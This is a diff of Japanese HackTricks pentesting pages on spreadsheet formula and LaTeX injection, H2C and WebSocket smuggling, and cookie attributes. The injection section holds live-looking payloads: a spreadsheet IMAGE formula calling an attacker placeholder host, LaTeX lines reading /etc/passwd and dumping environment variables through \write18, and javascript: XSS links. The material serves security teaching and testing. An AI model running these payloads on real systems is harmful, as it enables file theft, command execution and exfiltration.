- **IMPORTRANGE**: 他のスプレッドシートからセルの範囲をインポートします - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")` * **IMPORTRANGE**: 他のスプレッドシートからセルの範囲をインポートします - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
- **IMAGE**: 画像をセルに挿入します - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")` * **IMAGE**: 画像をセルに挿入します - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX インジェクション ## LaTeX インジェクション
通常、**LaTeXコードをPDFに変換するサーバー**は **`pdflatex`** を使用します。\ 通常、インターネット上で見つけるサーバーは **LaTeX コードを PDF に変換** するために **`pdflatex`** を使用します。\
このプログラムは、コマンドの実行を無効にする許可するために3つの主要な属性を使用します: このプログラムは(非)コマンド実行を許可するために 3 つの主要な属性を使用します:
- **`--no-shell-escape`**: `\write18{command}` 構造を無効にします。たとえ texmf.cnf ファイルで有効になっていても。 * **`--no-shell-escape`**: `\write18{command}` 構文を無効にします。たとえ texmf.cnf ファイルで有効になっていても。
- **`--shell-restricted`**: `--shell-escape` と同じですが、事前に定義された '安全な' \*\*コマンドに\*\* 限定されますUbuntu 16.04では、リストは `/usr/share/texmf/web2c/texmf.cnf` にあります)。 * **`--shell-restricted`**: `--shell-escape` と同じですが、事前定義された '安全' な一連の \*\*コマンドに**制限されます**Ubuntu 16.04 ではリストが `/usr/share/texmf/web2c/texmf.cnf` にあります)。
- **`--shell-escape`**: `\write18{command}` 構造を有効にします。コマンドは任意のシェルコマンドです。この構造は通常、セキュリティ上の理由から許可されていません。 * **`--shell-escape`**: `\write18{command}` 構文を有効にします。コマンドは任意のシェルコマンドです。この構文は通常、セキュリティ上の理由から許可されていません。
ただし、コマンドを実行する他の方法もありますので、RCEを回避するために `--shell-restricted` を使用することが非常に重要です。 ただし、コマンドを実行する他の方法もありますので、RCE を回避するために `--shell-restricted` を使用することが非常に重要です。
### ファイルの読み取り <a href="#read-file" id="read-file"></a> ### ファイルの読み取り <a href="#read-file" id="read-file"></a>
\[ または $ などのラッパーを使用してインジェクションを調整する必要がある場合があります \[ または $ などのラッパーを使用してインジェクションを調整する必要があるかもしれません
```bash ```bash
\input{/etc/passwd} \input{/etc/passwd}
\include{password} # load .tex file \include{password} # load .tex file
@ -169,32 +169,23 @@ Google Sheets はOOBデータエクスフィルトレーションに悪用でき
## Get the value of shell_escape_commands without needing to read pdfetex.ini ## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"} \input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
``` ```
### Formula CSV Document LaTeX Ghostscript Injection ## Formula CSV Document LaTeX Ghostscript Injection
--- ### Attack Scenario
#### Attack Scenario An attacker can inject malicious LaTeX code into a CSV file that, when converted to a PDF document using LaTeX, triggers a Ghostscript command execution. This can lead to arbitrary code execution on the server hosting the conversion process.
An attacker can inject malicious LaTeX code into a CSV file that, when converted to a PDF document using LaTeX, triggers a Ghostscript command execution. This can lead to arbitrary code execution on the server hosting the LaTeX to PDF conversion process. ### Technical Details
#### Exploitation By inserting a crafted formula containing the `\immediate\write18` command within the CSV file, an attacker can create a formula that, when processed by LaTeX, executes arbitrary commands via Ghostscript. This is possible because LaTeX allows for the execution of shell commands, and Ghostscript is often used in the background for processing images and other tasks.
1. Craft a CSV file containing the malicious LaTeX code. ### Impact
2. Upload the CSV file to the target application that converts CSV to PDF using LaTeX.
3. The application processes the CSV file and generates a PDF document using LaTeX.
4. When the PDF is generated, the malicious LaTeX code triggers a Ghostscript command execution.
5. The Ghostscript command executes arbitrary commands on the server.
#### Impact If successful, this attack can result in the execution of arbitrary commands on the server, potentially leading to a full compromise of the system. This can be particularly dangerous if the server has high privileges or hosts sensitive data.
- Remote code execution on the server. ### Mitigation
- Complete compromise of the server hosting the LaTeX to PDF conversion process.
#### Mitigation To prevent this type of attack, it is crucial to sanitize user input and validate any files being processed by the server. Additionally, restricting the capabilities of the LaTeX environment and Ghostscript can help mitigate the risk of command execution through this vector.
- Validate and sanitize user input to prevent injection attacks.
- Restrict the commands that Ghostscript can execute.
- Use a secure PDF generation library that does not support external command execution.
```bash ```bash
\immediate\write18{env | base64 > test.tex} \immediate\write18{env | base64 > test.tex}
\input{text.tex} \input{text.tex}
@ -206,16 +197,16 @@ An attacker can inject malicious LaTeX code into a CSV file that, when converted
``` ```
### クロスサイトスクリプティング <a href="#cross-site-scripting" id="cross-site-scripting"></a> ### クロスサイトスクリプティング <a href="#cross-site-scripting" id="cross-site-scripting"></a>
[@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)から [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash ```bash
\url{javascript:alert(1)} \url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder} \href{javascript:alert(1)}{placeholder}
``` ```
## Ghostscript Injection ## Ghostscript Injection
**Check** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/) **チェック** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## References ## 参考文献
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1) * [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/) * [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
@ -224,7 +215,7 @@ An attacker can inject malicious LaTeX code into a CSV file that, when converted
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -235,9 +226,9 @@ An attacker can inject malicious LaTeX code into a CSV file that, when converted
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォロー**する * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**フォロー**する
* **HackTricks**および**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する * **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details> </details>

View file

@ -1,22 +1,22 @@
# ヘッダースマグリングのアップグレード # アップグレードヘッダースマグリング
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または [**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で **フォロー**する。
* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する * **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,107 +26,41 @@ HackTricks をサポートする他の方法:
#### クリアテキスト上のHTTP2H2C<a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a> #### クリアテキスト上のHTTP2H2C<a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
H2C、または **http2 over cleartext** は、標準のHTTP **接続を永続的なものにアップグレード** することで、一時的なHTTP接続の通常から逸脱します。このアップグレードされた接続は、平文のHTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。 H2C、または**クリアテキスト上のhttp2**は、標準のHTTP **接続を永続的なものにアップグレード**することで、一時的なHTTP接続の通常から逸脱します。このアップグレードされた接続は、平文のHTTPの単一リクエストの性質とは異なり、継続的な通信のためにhttp2バイナリプロトコルを利用します。
スマグリングの問題の核心は、**リバースプロキシ**の使用に起因します。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送してからバックエンドの応答を返します。ただし、HTTPリクエストに `Connection: Upgrade` ヘッダーが存在する場合websocket接続で一般的に見られる、リバースプロキシはクライアントとサーバーの間に**永続的な接続を維持**し、特定のプロトコルで必要な連続した交換を容易にします。H2C接続の場合、RFCへの遵守には、3つの特定のヘッダーが存在する必要があります。 スマグリングの問題の核心は、**リバースプロキシ**の使用に起因します。通常、リバースプロキシはHTTPリクエストを処理し、バックエンドに転送し、その後バックエンドの応答を返します。ただし、HTTPリクエストに `Connection: Upgrade` ヘッダーが存在する場合websocket接続で一般的に見られる、リバースプロキシはクライアントとサーバー間の**永続的な接続を維持**し、特定のプロトコルで必要な継続的な交換を容易にします。H2C接続の場合、RFCへの遵守には、3つの特定のヘッダーが存在することが必要です:
``` ```
Upgrade: h2c Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings Connection: Upgrade, HTTP2-Settings
``` ```
脆弱性は、接続をアップグレードした後、リバースプロキシが個々のリクエストを管理するのをやめ、ルーティングが接続確立後に完了したと仮定すると発生します。H2Cスマグリングを悪用することで、リクエスト処理中に適用されるリバースプロキシのルールパスベースのルーティング、認証、WAF処理などを回避できます。これは、H2C接続が正常に確立された場合に適用されます。 ### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a>
#### 脆弱なプロキシ <a href="#exploitation" id="exploitation"></a> 脆弱性は、リバースプロキシが`Upgrade`および時折`Connection`ヘッダーを処理する方法に依存しています。次のプロキシは、プロキシパス中にこれらのヘッダーを暗黙的に転送し、それによってH2Cスマグリングを可能にします
この脆弱性は、リバースプロキシが `Upgrade` ヘッダーと時折 `Connection` ヘッダーの処理方法に依存しています。次のプロキシは、プロキシパス中にこれらのヘッダーを暗黙的に転送し、それによってH2Cスマグリングを可能にします - HAProxy
- Traefik
- Nuster
* HAProxy 一方、次のサービスはプロキシパス中に両方のヘッダーを暗黙的に転送しません。ただし、`Upgrade`および`Connection`ヘッダーをフィルタリングせずに転送するように不適切に構成されている可能性があります:
* Traefik
* Nuster
一方、次のサービスはプロキシパス中に両方のヘッダーを暗黙的に転送しません。ただし、`Upgrade` および `Connection` ヘッダーのフィルタリングを許可するように不適切に構成されている可能性があります: - AWS ALB/CLB
- NGINX
* AWS ALB/CLB - Apache
* NGINX - Squid
* Apache - Varnish
* Squid - Kong
* Varnish - Envoy
* Kong - Apache Traffic Server
* Envoy
* Apache Traffic Server
#### 悪用 <a href="#exploitation" id="exploitation"></a> #### 悪用 <a href="#exploitation" id="exploitation"></a>
重要なのは、すべてのサーバーが、準拠したH2C接続のアップグレードに必要なヘッダーを暗黙的に転送するわけではないということです。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、H2C接続をブロックします。それでも、`Connection: Upgrade` の非準拠バリアントでテストする価値があります。このバリアントは、`Connection` ヘッダーから `HTTP2-Settings` の値を除外しているため、一部のバックエンドが標準に準拠していない可能性があるからです。 重要なのは、すべてのサーバーが、準拠したH2C接続のアップグレードに必要なヘッダーを暗黙的に転送するわけではないということです。そのため、AWS ALB/CLB、NGINX、Apache Traffic Serverなどのサーバーは、H2C接続をブロックします。それでも、`Connection: Upgrade`バリアント(`Connection`ヘッダーから`HTTP2-Settings`値を除外したもの)でテストする価値があります。なぜなら、一部のバックエンドが標準に準拠していない可能性があるからです。
{% hint style="danger" %} {% hint style="danger" %}
`proxy_pass` URL で指定された特定の **パス**(例:`http://backend:9999/socket.io`)に関係なく、確立された接続はデフォルトで `http://backend:9999` になります。これにより、このテクニックを利用して内部エンドポイント内の任意のパスとやり取りできます。したがって、`proxy_pass` URL でパスを指定してもアクセスが制限されません。 `proxy_pass` URL内で指定された特定の**パス**(例:`http://backend:9999/socket.io`)に関係なく、確立された接続は常に`http://backend:9999`にデフォルトします。これにより、このテクニックを利用して、その内部エンドポイント内の任意のパスとやり取りすることが可能です。したがって、`proxy_pass` URL内でパスを指定してもアクセスが制限されることはありません。
{% endhint %} {% endhint %}
[**BishopFoxのh2csmuggler**](https://github.com/BishopFox/h2csmuggler)[**assetnoteのh2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールは、H2C接続を確立することで、プロキシによって適用される保護を回避し、プロキシによって保護されているリソースにアクセスできるようにする試みを支援します。 [**BishopFoxのh2csmuggler**](https://github.com/BishopFox/h2csmuggler)および[**assetnoteのh2csmuggler**](https://github.com/assetnote/h2csmuggler)というツールは、H2C接続を確立することで、プロキシによって適用された保護を**回避**する試みを支援し、プロキシによって保護されたリソースにアクセスできるようにします。
この脆弱性に関する詳細情報、特にNGINXに関する情報は、[**この詳細なリソース**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)を参照してください。 この脆弱性に関する詳細情報、特にNGINXに関する情報は、[**この詳細なリソース**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection)を参照してください。
## Websocket Smuggling
Websocketスマグリングは、プロキシを介してアクセス可能なエンドポイントへのHTTP2トンネルを作成するのとは異なり、プロキシの制限をバイパスし、エンドポイントとの直接通信を容易にするWebsocketトンネルを確立します。
### シナリオ1
このシナリオでは、公開WebSocket APIとアクセスできない内部REST APIを提供するバックエンドが、内部REST APIへのアクセスを求める悪意のあるクライアントの標的となります。攻撃は以下の手順で展開されます
1. クライアントは、ヘッダー内の正しくない `Sec-WebSocket-Version` プロトコルバージョンを持つUpgradeリクエストをリバースプロキシに送信します。リバースプロキシは `Sec-WebSocket-Version` ヘッダーを検証できないため、Upgradeリクエストを有効と認識し、バックエンドに転送します。
2. バックエンドは、`Sec-WebSocket-Version` ヘッダーの誤ったプロトコルバージョンを示すステータスコード `426` で応答します。リバースプロキシはバックエンドの応答ステータスを見落とし、WebSocket通信の準備が整ったと誤解し、その応答をクライアントに中継します。
3. 結果として、リバースプロキシは、クライアントとバックエンドの間にWebSocket接続が確立されたと誤解しますが、実際にはバックエンドがUpgradeリクエストを拒否していたため、そのような接続は存在しません。それでも、プロキシはクライアントとバックエンドの間にオープンなTCPまたはTLS接続を維持し、クライアントがこの接続を介してプライベートREST APIに無制限にアクセスできるようにします。
影響を受けるリバースプロキシには、この問題に対処しなかったVarnishや、バージョン1.8.0以前のEnvoyプロキシなどが含まれます。他のプロキシも影響を受ける可能性があります。
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
### シナリオ2
このシナリオでは、公開WebSocket APIとヘルスチェック用の公開REST APIを持つバックエンドが、アクセスできない内部REST APIを持っています。より複雑な攻撃は、以下の手順を含みます
1. クライアントは、ヘルスチェックAPIをトリガーするためにPOSTリクエストを送信し、追加のHTTPヘッダー `Upgrade: websocket` を含めます。リバースプロキシとして機能するNGINXは、このリクエストを `Upgrade` ヘッダーだけに基づいて標準のUpgradeリクエストとして解釈し、リクエストの他の側面を無視してバックエンドに転送します。
2. バックエンドはヘルスチェックAPIを実行し、攻撃者が制御する外部リソースに到達してHTTPレスポンスを返します。このレスポンスは、バックエンドに受信され、NGINXに転送されると、ステータスコード `101` を持つHTTPレスポンスによって、プロキシはステータスコードのみを検証するため、WebSocket接続が確立されたと誤解します。
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **警告:** このテクニックの複雑さは、ステータスコード101を返すエンドポイントとやり取りできる能力が必要となります。
最終的に、NGINXはクライアントとバックエンドの間にWebSocket接続が存在すると誤解します。実際にはそのような接続は存在せず、ヘルスチェックREST APIが標的となります。それでも、リバースプロキシは接続を維持し、クライアントがこの接続を介してプライベートREST APIにアクセスできるようにします。
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
ほとんどのリバースプロキシはこのシナリオに対して脆弱ですが、悪用は一般的に低重要度の問題と見なされる外部SSRF脆弱性の存在に依存します。
#### ラボ
両方のシナリオをテストするためのラボは、[https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git) で確認できます。
### 参考文献
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>で!</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい** または **HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れる
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または [**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する。
</details>

View file

@ -2,47 +2,47 @@
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
HackTricks をサポートする他の方法: HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**する * **💬 [Discord グループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegram グループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出する** * **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する
</details> </details>
**Try Hard Security Group** **Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
*** ***
## Cookie属性 ## Cookie 属性
Cookieには、ユーザーのブラウザでの動作を制御するいくつかの属性が付属しています。以下はこれらの属性についての概要ですより受動的な声で: Cookie には、ユーザーのブラウザでの動作を制御するいくつかの属性が付属しています。以下はこれらの属性についての概要です(より受動的な声で):
### 有効期限とMax-Age ### Expires と Max-Age
Cookieの有効期限は `Expires` 属性によって決定されます。逆に、 `Max-age` 属性はCookieが削除されるまでの秒数を定義します。**より現代的な慣行を反映するために `Max-age` を選択してください。** Cookie の有効期限は `Expires` 属性によって決定されます。逆に、`Max-age` 属性はCookie が削除されるまでの秒数を定義します。**より現代的な慣行を反映するために `Max-age` を選択してください。**
### ドメイン ### Domain
Cookieを受信するホストは `Domain` 属性で指定されます。デフォルトでは、これはCookieを発行したホストに設定されており、そのサブドメインは含まれません。ただし、 `Domain` 属性が明示的に設定されている場合、サブドメインも含まれます。これにより、 `Domain` 属性の指定は、サブドメイン間でCookieを共有する必要があるシナリオに役立つより制限の少ないオプションとなります。たとえば、 `Domain=mozilla.org` を設定すると、 `developer.mozilla.org` のようなサブドメインでCookieにアクセスできます。 Cookie を受け取るホストは `Domain` 属性で指定されます。デフォルトでは、これはCookieを発行したホストに設定されており、そのサブドメインは含まれません。ただし、`Domain` 属性が明示的に設定されている場合、サブドメインも含まれます。これにより、`Domain` 属性の指定は、サブドメイン間でのCookie共有が必要なシナリオに役立つより制限の少ないオプションとなります。たとえば、`Domain=mozilla.org` を設定すると、`developer.mozilla.org` のようなサブドメインでCookieにアクセスできます。
### パス ### Path
要求されたURLに存在する必要がある特定のURLパスは、 `Path` 属性で示されます。この属性は、 `/` 文字をディレクトリセパレータとして考慮し、サブディレクトリでも一致させることができます。 `Path` 属性によって、`Cookie` ヘッダーを送信するためにリクエストされたURLに存在する必要がある特定のURLパスが示されます。この属性は、`/` 文字をディレクトリセパレータとして考慮し、サブディレクトリでも一致させることができます。
### 順序付けルール ### 順序付けルール
同じ名前の2つのCookieがある場合、送信するCookieは次の基準に基づいて選択されます: 同じ名前の2つのCookieがある場合、送信するCookieは次の基準に基づいて選択されます:
* 要求されたURL内の最も長いパスに一致するCookie。 * リクエストされたURLの最も長いパスに一致するCookie。
* パスが同一である場合は、最も最近に設定されたCookie。 * パスが同一である場合は、最も最近に設定されたCookie。
### SameSite ### SameSite
@ -54,7 +54,7 @@ Cookieを受信するホストは `Domain` 属性で指定されます。デフ
Cookieを構成する際には、これらの属性を理解することで、さまざまなシナリオで期待どおりに動作することを確認できます。 Cookieを構成する際には、これらの属性を理解することで、さまざまなシナリオで期待どおりに動作することを確認できます。
| **リクエストタイプ** | **例のコード** | **Cookieの送信時** | | **リクエストタイプ** | **例のコード** | **Cookie が送信される場合** |
| ---------------- | ---------------------------------- | --------------------- | | ---------------- | ---------------------------------- | --------------------- |
| リンク | \<a href="...">\</a> | NotSet\*, Lax, None | | リンク | \<a href="...">\</a> | NotSet\*, Lax, None |
| プリレンダー | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None | | プリレンダー | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
@ -65,68 +65,68 @@ Cookieを構成する際には、これらの属性を理解することで、
| 画像 | \<img src="..."> | NetSet\*, None | | 画像 | \<img src="..."> | NetSet\*, None |
[Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) からの表と若干修正されています。\ [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) からの表と若干修正されています。\
**SameSite** 属性を持つCookieは、ログインセッションが必要なCSRF攻撃を**緩和**します。 _**SameSite**_ 属性のCookieは、ログインセッションが必要な CSRF 攻撃を**緩和**します。
**\*Chrome802019年2月から、SameSite属性のないCookieのデフォルト動作はlaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\ **\*Chrome802019年2月から、SameSite属性のないCookieのデフォルト動作はlaxになります** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
この変更を適用した後、Chromeでは、**SameSiteポリシーのないCookie**は、**最初の2分間はNone**として扱われ、その後はトップレベルのクロスサイトPOSTリクエストに対して**Lax**として扱われます。 この変更を適用した後、Chromeでは、**SameSiteポリシーのないCookie**は、**最初の2分間はNone**として扱われ、その後、トップレベルのクロスサイトPOSTリクエストでは**Lax**として扱われます。
## Cookiesフラグ ## Cookies フラグ
### HttpOnly ### HttpOnly
これにより、**クライアント**がCookieにアクセスできなくなりますたとえば、`document.cookie`を使用してJavascript経由で これにより、**クライアント**がCookieにアクセスできなくなりますたとえば、`document.cookie` を使用したJavaScript経由で
#### **バイパス** #### **バイパス**
* ページがリクエストの応答としてCookieを送信している場合たとえば、**PHPinfo**ページなど、XSSを悪用してこのページにリクエストを送信し、応答からCookieを**盗む**ことが可能です(例は[こちら](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)を参照)。 * ページがリクエストの応答としてCookieを送信している場合たとえば、**PHPinfo** ページなど、XSSを悪用してこのページにリクエストを送信し、応答からCookieを**盗む**ことが可能です(例は [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) にあります)。
* この方法は、サーバーからの応答このHTTPメソッドが利用可能な場合が送信される**TRACE** **HTTP**リクエストを使用することでバイパスできます。このテクニックは**Cross-Site Tracking**と呼ばれます。 * このバイパスは、サーバーからの応答このHTTPメソッドが利用可能な場合として**TRACE** **HTTP** リクエストを送信することで回避できます。このテクニックは **Cross-Site Tracking** と呼ばれます。
* このテクニックは、**現代のブラウザがJSからTRACEリクエストの送信を許可しない**ことによって回避されます。ただし、IE6.0 SP2に対して `TRACE` の代わりに `\r\nTRACE` を送信するなど、特定のソフトウェアでこのバイパス方法が見つかっています。 * このテクニックは、**現代のブラウザがJSからTRACEリクエストの送信を許可しない**ことによって回避されます。ただし、IE6.0 SP2に `\r\nTRACE` を送信するなど、特定のソフトウェアでこのバイパスを見つけることができます。
